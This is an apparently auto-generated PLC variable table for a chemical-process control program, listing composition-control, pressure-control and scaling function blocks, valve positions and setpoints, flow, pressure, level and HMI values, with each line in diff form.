+93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; 